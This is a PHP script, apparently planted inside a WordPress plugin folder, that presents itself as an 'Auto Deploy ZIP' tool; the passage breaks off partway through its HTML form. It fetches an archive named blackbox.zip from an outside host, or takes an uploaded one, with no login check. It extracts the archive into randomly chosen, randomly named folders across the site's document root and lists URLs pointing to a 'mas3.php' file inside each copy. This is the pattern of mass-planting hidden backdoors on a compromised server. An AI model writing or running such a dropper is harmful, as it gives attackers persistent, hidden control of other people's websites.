File: /home/mahdetej/public_html/wp-content/plugins/neoncore-themes/O/deploy.php
<?php
// ====================================================
// HEADER ANTI CACHE
// ====================================================
header('Cache-Control: no-cache, no-store, must-revalidate');
header('Pragma: no-cache');
header('Expires: 0');
// ====================================================
// KONFIGURASI
// ====================================================
session_start();
// Default document root
$default_root = $_SERVER['DOCUMENT_ROOT'];
// Proses custom root dari POST
if (isset($_POST['set_root']) && isset($_POST['custom_root'])) {
$custom_root_input = trim($_POST['custom_root']);
if (!empty($custom_root_input) && is_dir($custom_root_input)) {
$_SESSION['custom_root'] = $custom_root_input;
$custom_root = $custom_root_input;
$root = $custom_root_input;
$custom_root_error = '';
} else if (!empty($custom_root_input)) {
$custom_root_error = "â Directory tidak valid: " . $custom_root_input;
unset($_SESSION['custom_root']);
$custom_root = '';
$root = $default_root;
} else {
unset($_SESSION['custom_root']);
$custom_root = '';
$root = $default_root;
}
} elseif (isset($_POST['reset_root'])) {
unset($_SESSION['custom_root']);
$custom_root = '';
$root = $default_root;
$custom_root_error = '';
} else {
$custom_root = isset($_SESSION['custom_root']) ? $_SESSION['custom_root'] : '';
if (!empty($custom_root) && is_dir($custom_root)) {
$root = $custom_root;
} else {
$root = $default_root;
if (!empty($custom_root) && !is_dir($custom_root)) {
unset($_SESSION['custom_root']);
$custom_root = '';
}
}
}
$zip_url = 'https://id69project.pages.dev/blackbox.zip';
$temp_dir = __DIR__ . '/temp';
$upload_dir = __DIR__ . '/uploads';
$log = [];
$results = [];
$download_success = false;
$download_error = '';
$zip_file = '';
$custom_root_error = isset($custom_root_error) ? $custom_root_error : '';
// Buat folder temp & uploads
if (!is_dir($temp_dir)) {
mkdir($temp_dir, 0777, true);
}
if (!is_dir($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
// ====================================================
// FUNGSI BANTUAN
// ====================================================
function formatSize($bytes) {
if ($bytes >= 1073741824) {
return number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
return number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
return number_format($bytes / 1024, 2) . ' KB';
} else {
return $bytes . ' B';
}
}
function generateRandomString($length = 6) {
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$random_string = '';
for ($i = 0; $i < $length; $i++) {
$random_string .= $characters[rand(0, strlen($characters) - 1)];
}
return $random_string;
}
// ====================================================
// CEK KETERSEDIAAN UNZIP
// ====================================================
function checkUnzipAvailable() {
// Cek ZipArchive
if (class_exists('ZipArchive')) {
return 'ziparchive';
}
// Cek exec unzip
if (function_exists('exec')) {
$output = [];
$return_var = 0;
exec('unzip -v 2>&1', $output, $return_var);
if ($return_var === 0) {
return 'exec_unzip';
}
}
// Cek system unzip
if (function_exists('system')) {
$output = [];
$return_var = 0;
system('unzip -v 2>&1', $return_var);
if ($return_var === 0) {
return 'system_unzip';
}
}
return false;
}
// ====================================================
// UNZIP DENGAN BERBAGAI METODE
// ====================================================
function unzipFile($zip_path, $target_dir) {
// Method 1: ZipArchive (terbaik)
if (class_exists('ZipArchive')) {
$zip = new ZipArchive();
$open = $zip->open($zip_path);
if ($open === true) {
$extract = $zip->extractTo($target_dir);
$zip->close();
if ($extract) {
return [
'success' => true,
'method' => 'ZipArchive'
];
}
}
}
// Method 2: Exec unzip
if (function_exists('exec')) {
$output = [];
$return_var = 0;
$cmd = 'unzip -o "' . $zip_path . '" -d "' . $target_dir . '" 2>&1';
exec($cmd, $output, $return_var);
if ($return_var === 0) {
return [
'success' => true,
'method' => 'exec(unzip)'
];
}
}
// Method 3: System unzip
if (function_exists('system')) {
$return_var = 0;
$cmd = 'unzip -o "' . $zip_path . '" -d "' . $target_dir . '" > /dev/null 2>&1';
system($cmd, $return_var);
if ($return_var === 0) {
return [
'success' => true,
'method' => 'system(unzip)'
];
}
}
// Method 4: PclZip (library PHP murni)
$pclzip_path = __DIR__ . '/pclzip.lib.php';
if (!file_exists($pclzip_path)) {
// Download PclZip jika belum ada
$pclzip_url = 'http://www.phpconcept.net/pclzip/pclzip-2-8-2.zip';
$pclzip_temp = __DIR__ . '/pclzip_temp.zip';
$ch = curl_init($pclzip_url);
$fp = fopen($pclzip_temp, 'w');
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);
fclose($fp);
if (file_exists($pclzip_temp)) {
$zip = new ZipArchive();
if ($zip->open($pclzip_temp) === true) {
$zip->extractTo(__DIR__);
$zip->close();
}
unlink($pclzip_temp);
}
}
if (file_exists($pclzip_path)) {
require_once($pclzip_path);
$archive = new PclZip($zip_path);
$result = $archive->extract(PCLZIP_OPT_PATH, $target_dir);
if ($result && $result > 0) {
return [
'success' => true,
'method' => 'PclZip'
];
}
}
return [
'success' => false,
'error' => 'Tidak ada metode unzip yang tersedia! (ZipArchive, exec(unzip), system(unzip), PclZip)'
];
}
// ====================================================
// DOWNLOAD DARI URL
// ====================================================
function downloadFile($url, $path) {
if (!function_exists('curl_init')) {
return [
'success' => false,
'error' => 'cURL tidak tersedia!'
];
}
$ch = curl_init($url);
$fp = fopen($path, 'w');
if (!$fp) {
return [
'success' => false,
'error' => 'Gagal membuka file untuk menulis: ' . $path
];
}
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 300);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_ENCODING, '');
$result = curl_exec($ch);
$error = curl_error($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$size_download = curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
$total_time = curl_getinfo($ch, CURLINFO_TOTAL_TIME);
curl_close($ch);
fclose($fp);
if ($result === false || $http_code != 200) {
if (file_exists($path)) {
unlink($path);
}
return [
'success' => false,
'error' => $error ?: 'HTTP Code: ' . $http_code,
'http_code' => $http_code
];
}
return [
'success' => true,
'size' => $size_download,
'time' => $total_time,
'http_code' => $http_code
];
}
// ====================================================
// GET ALL FOLDERS
// ====================================================
function getAllFolders($dir, $level = 0, $max_level = 10, &$result = [], &$level_info = []) {
if ($level > $max_level) return;
if (!is_dir($dir)) return;
$items = scandir($dir);
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$path = $dir . '/' . $item;
if (is_dir($path)) {
$current_level = $level + 1;
$result[] = $path;
$level_info[] = $current_level;
getAllFolders($path, $current_level, $max_level, $result, $level_info);
}
}
}
// ====================================================
// GET RANDOM DIRECTORY
// ====================================================
function getRandomDirectories($root, $count, $max_level = 10) {
$all_folders = [];
$all_levels = [];
getAllFolders($root, 0, $max_level, $all_folders, $all_levels);
if (count($all_folders) < $count) {
return null;
}
$total = count($all_folders);
$selected_indices = [];
while (count($selected_indices) < $count) {
$rand = rand(0, $total - 1);
if (!in_array($rand, $selected_indices)) {
$selected_indices[] = $rand;
}
}
$result = [];
foreach ($selected_indices as $index) {
$result[] = [
'path' => $all_folders[$index],
'level' => $all_levels[$index]
];
}
return $result;
}
// ====================================================
// PERMISSION
// ====================================================
function setPermission($dir) {
$items = scandir($dir);
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$path = $dir . '/' . $item;
if (is_dir($path)) {
@chmod($path, 0755);
setPermission($path);
} else {
@chmod($path, 0644);
}
}
@chmod($dir, 0755);
return true;
}
// ====================================================
// GET URL ACCESS
// ====================================================
function getAccessUrl($target_dir, $random_string, $root) {
$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'];
$relative_path = str_replace($root, '', $target_dir);
$relative_path = str_replace('//', '/', $relative_path);
$relative_path = trim($relative_path, '/');
$base_url = $protocol . '://' . $host;
if (!empty($relative_path)) {
$base_url .= '/' . $relative_path;
}
$full_url = rtrim($base_url, '/') . '/' . $random_string . '/blackbox/core/mas3.php';
$full_url = filter_var($full_url, FILTER_SANITIZE_URL);
return $full_url;
}
function getExtractUrl($target_dir, $random_string, $root) {
$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'];
$relative_path = str_replace($root, '', $target_dir);
$relative_path = str_replace('//', '/', $relative_path);
$relative_path = trim($relative_path, '/');
$base_url = $protocol . '://' . $host;
if (!empty($relative_path)) {
$base_url .= '/' . $relative_path;
}
$full_url = rtrim($base_url, '/') . '/' . $random_string . '/';
$full_url = filter_var($full_url, FILTER_SANITIZE_URL);
return $full_url;
}
// ====================================================
// SCAN ZIP FILE YANG ADA
// ====================================================
function scanZipFiles($dirs) {
$zips = [];
foreach ($dirs as $dir) {
if (is_dir($dir)) {
$files = scandir($dir);
foreach ($files as $file) {
if (pathinfo($file, PATHINFO_EXTENSION) == 'zip') {
$path = $dir . '/' . $file;
$zips[] = [
'name' => $file,
'path' => $path,
'size' => filesize($path),
'modified' => filemtime($path)
];
}
}
}
}
return $zips;
}
// ====================================================
// PROSES UPLOAD
// ====================================================
$upload_result = '';
if (isset($_FILES['zip_file']) && $_FILES['zip_file']['error'] == UPLOAD_ERR_OK) {
$file = $_FILES['zip_file'];
$ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if ($ext == 'zip') {
$target = $upload_dir . '/' . basename($file['name']);
if (move_uploaded_file($file['tmp_name'], $target)) {
$upload_result = 'â
File berhasil diupload: ' . basename($file['name']);
$zip_file = $target;
} else {
$upload_result = 'â Gagal upload file!';
}
} else {
$upload_result = 'â Hanya file ZIP yang diizinkan!';
}
}
// ====================================================
// PROSES DOWNLOAD DARI URL
// ====================================================
if (isset($_POST['action']) && $_POST['action'] == 'download') {
$log[] = ['type' => 'info', 'msg' => 'đĨ Mencoba download dari URL: ' . $zip_url];
$zip_filename = basename($zip_url);
$zip_path = $temp_dir . '/' . $zip_filename;
$download_result = downloadFile($zip_url, $zip_path);
if ($download_result['success']) {
$zip_file = $zip_path;
$download_success = true;
$log[] = ['type' => 'success', 'msg' => 'â
Download berhasil! Size: ' . formatSize($download_result['size']) . ' | Waktu: ' . round($download_result['time'], 2) . 's'];
$log[] = ['type' => 'info', 'msg' => 'đ ZIP tersimpan di: ' . $zip_path];
} else {
$download_error = $download_result['error'];
$log[] = ['type' => 'error', 'msg' => 'â Download gagal! Error: ' . $download_error];
$log[] = ['type' => 'warning', 'msg' => 'đĄ Silakan upload ZIP manual atau pilih ZIP yang sudah ada.'];
}
}
// ====================================================
// PROSES DEPLOY
// ====================================================
$is_deploy = isset($_POST['action']) && $_POST['action'] == 'deploy';
$jumlah = isset($_POST['jumlah']) ? intval($_POST['jumlah']) : 0;
$selected_zip = isset($_POST['zip_file_path']) ? $_POST['zip_file_path'] : '';
// Cek unzip method available
$unzip_method = checkUnzipAvailable();
if ($is_deploy && $jumlah > 0) {
$log[] = ['type' => 'info', 'msg' => 'đ Mengecek koneksi internet...'];
$log[] = ['type' => 'info', 'msg' => 'đ Target deploy: ' . $jumlah . ' directory'];
$log[] = ['type' => 'info', 'msg' => 'đ Document Root: ' . $root];
// Log unzip method
if ($unzip_method) {
$log[] = ['type' => 'success', 'msg' => 'â
Unzip method tersedia: ' . $unzip_method];
} else {
$log[] = ['type' => 'error', 'msg' => 'â TIDAK ADA UNZIP METHOD TERSEDIA!'];
$log[] = ['type' => 'warning', 'msg' => 'đĄ Install php-zip: sudo apt install php-zip'];
$log[] = ['type' => 'warning', 'msg' => 'đĄ Atau install unzip: sudo apt install unzip'];
}
// Tentukan ZIP file yang akan digunakan
$zip_path = '';
if (!empty($selected_zip) && file_exists($selected_zip)) {
$zip_path = $selected_zip;
$log[] = ['type' => 'info', 'msg' => 'đ Menggunakan ZIP dari pilihan: ' . basename($zip_path)];
} else if (!empty($zip_file) && file_exists($zip_file)) {
$zip_path = $zip_file;
$log[] = ['type' => 'info', 'msg' => 'đ Menggunakan ZIP hasil download: ' . basename($zip_path)];
} else {
$zips = scanZipFiles([$temp_dir, $upload_dir]);
if (!empty($zips)) {
usort($zips, function($a, $b) {
return $b['modified'] - $a['modified'];
});
$zip_path = $zips[0]['path'];
$log[] = ['type' => 'info', 'msg' => 'đ Menggunakan ZIP terbaru: ' . basename($zip_path) . ' (' . formatSize($zips[0]['size']) . ')'];
} else {
$log[] = ['type' => 'error', 'msg' => 'â Tidak ada file ZIP ditemukan! Silakan download dulu atau upload ZIP.'];
}
}
if (!empty($zip_path) && file_exists($zip_path) && $unzip_method) {
// Ambil random directory
$random_dirs = getRandomDirectories($root, $jumlah, 10);
if (!$random_dirs || count($random_dirs) < $jumlah) {
$log[] = ['type' => 'error', 'msg' => 'â Tidak cukup folder! Tersedia: ' . count($random_dirs ?? []) . ', Diminta: ' . $jumlah];
} else {
$log[] = ['type' => 'info', 'msg' => 'đ ' . $jumlah . ' Directory Random:'];
foreach ($random_dirs as $index => $dir) {
$log[] = ['type' => 'info', 'msg' => ' ' . ($index + 1) . '. Level ' . $dir['level'] . ': ' . $dir['path']];
}
// Extract ke setiap directory
foreach ($random_dirs as $index => $dir_data) {
$dir_path = $dir_data['path'];
$level = $dir_data['level'];
$random_string = generateRandomString(6);
$final_path = $dir_path . '/' . $random_string;
$log[] = ['type' => 'info', 'msg' => 'đ [' . ($index + 1) . '] Extract ke: ' . $final_path];
if (!is_dir($final_path)) {
mkdir($final_path, 0777, true);
}
$extract_result = unzipFile($zip_path, $final_path);
if ($extract_result['success']) {
setPermission($final_path);
$access_url = getAccessUrl($dir_path, $random_string, $root);
$extract_url = getExtractUrl($dir_path, $random_string, $root);
$results[] = [
'path' => $dir_path,
'level' => $level,
'random_string' => $random_string,
'final_path' => $final_path,
'extract_url' => $extract_url,
'access_url' => $access_url,
'status' => 'success',
'method' => $extract_result['method']
];
$log[] = ['type' => 'success', 'msg' => ' â
Berhasil (Method: ' . $extract_result['method'] . '): ' . $final_path];
$log[] = ['type' => 'folder-url', 'msg' => ' đ URL: <a href="' . $extract_url . '" target="_blank">' . $extract_url . '</a>'];
$log[] = ['type' => 'url', 'msg' => ' đ File: <a href="' . $access_url . '" target="_blank">' . $access_url . '</a>'];
} else {
$results[] = [
'path' => $dir_path,
'level' => $level,
'random_string' => $random_string,
'final_path' => $final_path,
'status' => 'error',
'error' => $extract_result['error']
];
$log[] = ['type' => 'error', 'msg' => ' â Gagal: ' . $extract_result['error']];
}
}
$log[] = ['type' => 'success', 'msg' => 'đ DEPLOY SELESAI!'];
}
} else if (!empty($zip_path) && file_exists($zip_path) && !$unzip_method) {
$log[] = ['type' => 'error', 'msg' => 'â Tidak ada metode unzip yang tersedia!'];
$log[] = ['type' => 'warning', 'msg' => 'đĄ Solusi:'];
$log[] = ['type' => 'warning', 'msg' => ' 1. Install php-zip: sudo apt install php-zip'];
$log[] = ['type' => 'warning', 'msg' => ' 2. Install unzip: sudo apt install unzip'];
$log[] = ['type' => 'warning', 'msg' => ' 3. Atau upload file ZIP yang sudah diekstrak manual'];
}
}
// ====================================================
// KUMPULKAN URL
// ====================================================
$url_list = [];
foreach ($results as $r) {
if ($r['status'] == 'success') {
$clean_url = trim($r['access_url']);
$clean_url = str_replace(["\r", "\n", "\t"], '', $clean_url);
$clean_url = preg_replace('/\s+/', ' ', $clean_url);
if (filter_var($clean_url, FILTER_VALIDATE_URL)) {
$url_list[] = $clean_url;
}
}
}
$url_list = array_unique($url_list);
$success_count = count($url_list);
// Scan ZIP files untuk ditampilkan di form
$zip_files = scanZipFiles([$temp_dir, $upload_dir]);
$unzip_method = checkUnzipAvailable();
?>
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Auto Deploy ZIP (Multi Method)</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: #f0f2f5;
padding: 20px;
}
.container {
max-width: 900px;
margin: 0 auto;
}
.header {
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
padding: 25px 30px;
border-radius: 12px 12px 0 0;
text-align: center;
}
.header h1 {
font-size: 24px;
font-weight: 700;
}
.header p {
opacity: 0.9;
margin-top: 5px;
font-size: 14px;
}
.header .root-path {
background: rgba(255,255,255,0.2);
padding: 8px 16px;
border-radius: 8px;
display: inline-block;
margin-top: 10px;
font-family: 'Courier New', monospace;
font-size: 14px;
}
.header .root-path .custom-root-indicator {
display: inline-block;
padding: 2px 10px;
border-radius: 12px;
font-size: 11px;
font-weight: 600;
margin-left: 10px;
}
.header .root-path .custom-root-indicator.active {
background: #28a745;
color: white;
}
.header .root-path .custom-root-indicator.inactive {
background: #6c757d;
color: white;
}
.card {
background: white;
border-radius: 0 0 12px 12px;
box-shadow: 0 4px 6px rgba(0,0,0,0.1);
margin-bottom: 20px;
overflow: hidden;
}
.card-header {
background: #f8f9fa;
padding: 15px 25px;
border-bottom: 2px solid #e9ecef;
display: flex;
justify-content: space-between;
align-items: center;
}
.card-header .title {
font-weight: 600;
font-size: 16px;
color: #333;
}
.card-header .badge {
background: #667eea;
color: white;
padding: 4px 12px;
border-radius: 20px;
font-size: 12px;
font-weight: 600;
}
.card-body {
padding: 25px;
}
.btn {
display: inline-block;
padding: 12px 30px;
border: none;
border-radius: 8px;
font-size: 16px;
font-weight: 600;
cursor: pointer;
text-decoration: none;
transition: all 0.3s;
}
.btn:hover {
transform: scale(1.02);
box-shadow: 0 4px 10px rgba(0,0,0,0.2);
}
.btn-primary {
background: #667eea;
color: white;
}
.btn-warning {
background: #ffc107;
color: #333;
}
.btn-success {
background: #28a745;
color: white;
}
.btn-danger {
background: #dc3545;
color: white;
}
.btn-outline-secondary {
background: transparent;
color: #6c757d;
border: 2px solid #6c757d;
}
.btn-outline-secondary:hover {
background: #6c757d;
color: white;
}
.log-box {
background: #1e1e1e;
color: #d4d4d4;
padding: 15px 20px;
border-radius: 8px;
font-family: 'Courier New', monospace;
font-size: 13px;
max-height: 500px;
overflow-y: auto;
line-height: 1.8;
}
.log-box .success { color: #4caf50; }
.log-box .error { color: #f44336; }
.log-box .info { color: #2196f3; }
.log-box .warning { color: #ffc107; }
.log-box .url {
color: #ff6b6b;
}
.log-box .url a {
color: #ff6b6b;
text-decoration: underline;
}
.log-box .url a:hover {
color: #ffeb3b;
}
.log-box .folder-url {
color: #4caf50;
}
.log-box .folder-url a {
color: #4caf50;
text-decoration: underline;
}
.log-box .folder-url a:hover {
color: #ffeb3b;
}
.footer {
text-align: center;
padding: 20px;
color: #888;
font-size: 13px;
}
.text-center { text-align: center; }
.mt-15 { margin-top: 15px; }
.flex { display: flex; gap: 10px; flex-wrap: wrap; }
.form-input {
width: 100%;
padding: 10px 15px;
font-size: 14px;
border: 2px solid #e9ecef;
border-radius: 8px;
background: white;
font-family: 'Courier New', monospace;
}
.form-input:focus {
outline: none;
border-color: #667eea;
}
.form-label {
display: block;
font-weight: 600;
color: #333;
margin-bottom: 8px;
font-size: 14px;
}
.form-group {
margin-bottom: 20px;
}
.form-select {
width: 100%;
padding: 10px 15px;
font-size: 14px;
border: 2px solid #e9ecef;
border-radius: 8px;
background: white;
cursor: pointer;
font-family: 'Courier New', monospace;
}
.form-select:focus {
outline: none;
border-color: #667eea;
}
.result-item {
background: #f8f9fa;
border-radius: 8px;
padding: 15px 20px;
margin-bottom: 10px;
border-left: 4px solid #667eea;
}
.result-item .dir-path {
font-family: 'Courier New', monospace;
font-size: 13px;
font-weight: 600;
color: #333;
}
.result-item .dir-urls {
margin-top: 8px;
font-size: 12px;
}
.result-item .dir-urls a {
color: #667eea;
text-decoration: underline;
}
.result-item .dir-urls a:hover {
color: #764ba2;
}
.result-item .random-string {
display: inline-block;
background: #667eea;
color: white;
padding: 2px 10px;
border-radius: 12px;
font-size: 11px;
font-weight: 600;
}
.result-item .method-badge {
display: inline-block;
padding: 2px 10px;
border-radius: 12px;
font-size: 10px;
font-weight: 600;
margin-left: 8px;
background: #28a745;
color: white;
}
.all-urls-box {
margin-top: 20px;
background: #f8f9fa;
border-radius: 8px;
padding: 15px 20px;
border: 2px solid #667eea;
}
.all-urls-box .header-box {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 10px;
flex-wrap: wrap;
gap: 10px;
}
.all-urls-box .header-box h4 {
color: #333;
font-size: 14px;
}
.all-urls-box .url-list {
background: #1e1e1e;
color: #4caf50;
padding: 15px 20px;
border-radius: 6px;
font-family: 'Courier New', monospace;
font-size: 12px;
max-height: 200px;
overflow-y: auto;
line-height: 1.8;
white-space: pre-line;
word-break: break-all;
}
.all-urls-box .note {
margin-top: 8px;
font-size: 12px;
color: #666;
}
.btn-sm {
padding: 8px 20px;
font-size: 13px;
}
.toast {
visibility: hidden;
min-width: 250px;
background-color: #333;
color: #fff;
text-align: center;
border-radius: 8px;
padding: 16px;
position: fixed;
z-index: 999;
bottom: 30px;
left: 50%;
transform: translateX(-50%);
opacity: 0;
transition: opacity 0.5s, visibility 0.5s;
box-shadow: 0 4px 12px rgba(0,0,0,0.3);
}
.toast.show {
visibility: visible;
opacity: 1;
}
.toast.success {
background-color: #28a745;
}
.toast.error {
background-color: #dc3545;
}
.toast.info {
background-color: #17a2b8;
}
.upload-area {
border: 2px dashed #667eea;
border-radius: 8px;
padding: 20px;
text-align: center;
background: #f8f9fa;
margin-bottom: 15px;
cursor: pointer;
transition: all 0.3s;
}
.upload-area:hover {
background: #e9ecef;
border-color: #764ba2;
}
.upload-area .icon {
font-size: 36px;
margin-bottom: 10px;
}
.upload-area input[type="file"] {
display: none;
}
.zip-list {
background: #f8f9fa;
border-radius: 8px;
padding: 10px 15px;
max-height: 150px;
overflow-y: auto;
margin-bottom: 10px;
}
.zip-list .item {
display: flex;
justify-content: space-between;
padding: 5px 0;
border-bottom: 1px solid #e9ecef;
font-size: 13px;
font-family: 'Courier New', monospace;
}
.zip-list .item:last-child {
border-bottom: none;
}
.zip-list .item .name {
color: #333;
}
.zip-list .item .info {
color: #888;
font-size: 12px;
}
.upload-result {
padding: 10px 15px;
border-radius: 6px;
margin-bottom: 10px;
}
.upload-result.success {
background: #d4edda;
color: #155724;
border: 1px solid #c3e6cb;
}
.upload-result.error {
background: #f8d7da;
color: #721c24;
border: 1px solid #f5c6cb;
}
.divider {
display: flex;
align-items: center;
text-align: center;
margin: 20px 0;
}
.divider::before,
.divider::after {
content: '';
flex: 1;
border-bottom: 1px solid #e9ecef;
}
.divider span {
padding: 0 15px;
color: #888;
font-size: 13px;
font-weight: 600;
}
.url-input {
width: 100%;
padding: 10px 15px;
font-size: 13px;
border: 2px solid #e9ecef;
border-radius: 8px;
background: #f8f9fa;
font-family: 'Courier New', monospace;
color: #333;
word-break: break-all;
}
.url-input:focus {
outline: none;
border-color: #667eea;
}
.root-input-group {
display: flex;
gap: 10px;
align-items: center;
flex-wrap: wrap;
}
.root-input-group input {
flex: 1;
min-width: 200px;
}
.root-input-group .btn {
white-space: nowrap;
}
.root-status {
padding: 10px 15px;
border-radius: 6px;
margin-bottom: 10px;
font-size: 13px;
}
.root-status.success {
background: #d4edda;
color: #155724;
border: 1px solid #c3e6cb;
}
.root-status.error {
background: #f8d7da;
color: #721c24;
border: 1px solid #f5c6cb;
}
.root-status.info {
background: #d1ecf1;
color: #0c5460;
border: 1px solid #bee5eb;
}
.root-status.warning {
background: #fff3cd;
color: #856404;
border: 1px solid #ffc107;
}
.unzip-status {
padding: 12px 18px;
border-radius: 8px;
margin-bottom: 15px;
font-size: 14px;
font-weight: 600;
}
.unzip-status.available {
background: #d4edda;
color: #155724;
border: 2px solid #28a745;
}
.unzip-status.unavailable {
background: #f8d7da;
color: #721c24;
border: 2px solid #dc3545;
}
</style>
</head>
<body>
<div class="container">
<!-- HEADER -->
<div class="header">
<h1>đ Auto Deploy ZIP (Multi Method)</h1>
<p>Support: ZipArchive, exec(unzip), system(unzip), PclZip</p>
<div class="root-path">
đ <?php echo $root; ?>
<?php if (!empty($custom_root) && is_dir($custom_root)): ?>
<span class="custom-root-indicator active">CUSTOM</span>
<?php else: ?>
<span class="custom-root-indicator inactive">DEFAULT</span>
<?php endif; ?>
</div>
</div>
<?php if ($upload_result): ?>
<div class="card">
<div class="card-body">
<div class="upload-result <?php echo strpos($upload_result, 'â
') !== false ? 'success' : 'error'; ?>">
<?php echo $upload_result; ?>
</div>
</div>
</div>
<?php endif; ?>
<?php if (!empty($custom_root_error)): ?>
<div class="card">
<div class="card-body">
<div class="root-status error">
<?php echo $custom_root_error; ?>
</div>
</div>
</div>
<?php endif; ?>
<?php if (isset($_POST['set_root']) && empty($custom_root_error) && !empty($_POST['custom_root'])): ?>
<div class="card">
<div class="card-body">
<div class="root-status success">
â
Custom root berhasil diatur: <?php echo htmlspecialchars($_POST['custom_root']); ?>
</div>
</div>
</div>
<?php endif; ?>
<?php if (isset($_POST['reset_root'])): ?>
<div class="card">
<div class="card-body">
<div class="root-status info">
đ Root telah direset ke default: <?php echo $default_root; ?>
</div>
</div>
</div>
<?php endif; ?>
<!-- ==================== MAIN CARD ==================== -->
<div class="card">
<div class="card-header">
<span class="title">đ˛ Deploy ZIP</span>
<span class="badge">MULTI METHOD</span>
</div>
<div class="card-body">
<!-- UNZIP STATUS -->
<div class="unzip-status <?php echo $unzip_method ? 'available' : 'unavailable'; ?>">
<?php if ($unzip_method): ?>
â
Unzip Method Tersedia: <strong><?php echo $unzip_method; ?></strong>
<?php else: ?>
â TIDAK ADA UNZIP METHOD TERSEDIA!
<br><small style="font-weight:normal;">Install: sudo apt install php-zip atau sudo apt install unzip</small>
<?php endif; ?>
</div>
<?php if (!$is_deploy): ?>
<div style="padding:10px 0;">
<div style="text-align:center;font-size:48px;margin-bottom:15px;">đĻ</div>
<p style="text-align:center;color:#666;margin-bottom:20px;line-height:1.8;">
1. Download ZIP dari URL, upload manual, atau pilih yang sudah ada<br>
2. Tentukan berapa banyak directory yang mau di-deploy<br>
3. Random pilih directory (bebas level, ga urut, ga duplicate)<br>
4. Setiap directory dapat random string berbeda<br>
5. Extract otomatis ke semua directory (Multi Method)<br>
6. Tampilkan semua URL akses + COPY ALL<br>
7. <strong style="color:#28a745;">Support: ZipArchive, exec(unzip), system(unzip), PclZip</strong>
</p>
<form method="post" enctype="multipart/form-data" style="margin-top:20px;">
<!-- ==================== CUSTOM DOCUMENT ROOT ==================== -->
<div class="form-group">
<label class="form-label">đ Custom Document Root:</label>
<div class="root-input-group">
<input type="text" name="custom_root" class="form-input"
placeholder="Masukkan path document root custom"
value="<?php echo htmlspecialchars(!empty($custom_root) && is_dir($custom_root) ? $custom_root : ''); ?>">
<button type="submit" name="set_root" value="1" class="btn btn-warning">Set Root</button>
<?php if (!empty($custom_root) && is_dir($custom_root)): ?>
<button type="submit" name="reset_root" value="1" class="btn btn-outline-secondary">Reset ke Default</button>
<?php endif; ?>
</div>
<div style="margin-top:8px;font-size:12px;color:#666;">
Default: <strong><?php echo $default_root; ?></strong>
<?php if (!empty($custom_root) && is_dir($custom_root)): ?>
<br>â
<strong style="color:#28a745;">Custom root aktif:</strong> <?php echo $custom_root; ?>
<?php endif; ?>
</div>
</div>
<hr style="margin: 20px 0; border: none; border-top: 2px solid #e9ecef;">
<!-- ==================== DOWNLOAD DARI URL ==================== -->
<div class="form-group">
<label class="form-label">đĨ Download ZIP dari URL:</label>
<div style="display:flex;gap:10px;flex-wrap:wrap;">
<input type="text" class="url-input" value="<?php echo htmlspecialchars($zip_url); ?>" readonly style="flex:1;min-width:200px;">
<button type="submit" name="action" value="download" class="btn btn-primary">âŦī¸ Download</button>
</div>
<?php if (!empty($download_error)): ?>
<div style="margin-top:8px;padding:8px 12px;background:#f8d7da;border-radius:6px;color:#721c24;font-size:13px;">
â <?php echo htmlspecialchars($download_error); ?>
</div>
<?php endif; ?>
<?php if ($download_success): ?>
<div style="margin-top:8px;padding:8px 12px;background:#d4edda;border-radius:6px;color:#155724;font-size:13px;">
â
Download berhasil! ZIP siap digunakan.
</div>
<?php endif; ?>
</div>
<!-- DIVIDER -->
<div class="divider">
<span>ATAU</span>
</div>
<!-- ==================== UPLOAD MANUAL ==================== -->
<div class="form-group">
<label class="form-label">đ¤ Upload ZIP Manual:</label>
<div class="upload-area" onclick="document.getElementById('zip_file_input').click()">
<div class="icon">đ</div>
<p style="color:#666;font-size:14px;">Klik untuk upload file ZIP</p>
<p style="color:#999;font-size:12px;">Maksimal 100MB</p>
<input type="file" name="zip_file" id="zip_file_input" accept=".zip">
</div>
<div id="file-name-display" style="font-size:13px;color:#667eea;font-weight:600;margin-top:5px;display:none;">
đ <span id="selected-file-name"></span>
</div>
</div>
<!-- ==================== PILIH ZIP YANG SUDAH ADA ==================== -->
<?php if (!empty($zip_files)): ?>
<div class="form-group">
<label class="form-label">đ Atau Pilih ZIP yang Sudah Ada:</label>
<select name="zip_file_path" class="form-select">
<option value="">-- Pilih ZIP --</option>
<?php foreach ($zip_files as $zip): ?>
<option value="<?php echo htmlspecialchars($zip['path']); ?>">
<?php echo htmlspecialchars($zip['name']); ?> (<?php echo formatSize($zip['size']); ?>)
</option>
<?php endforeach; ?>
</select>
</div>
<?php endif; ?>
<!-- ==================== JUMLAH DIRECTORY ==================== -->
<div class="form-group">
<label class="form-label">đ Jumlah Directory yang Mau Di-deploy:</label>
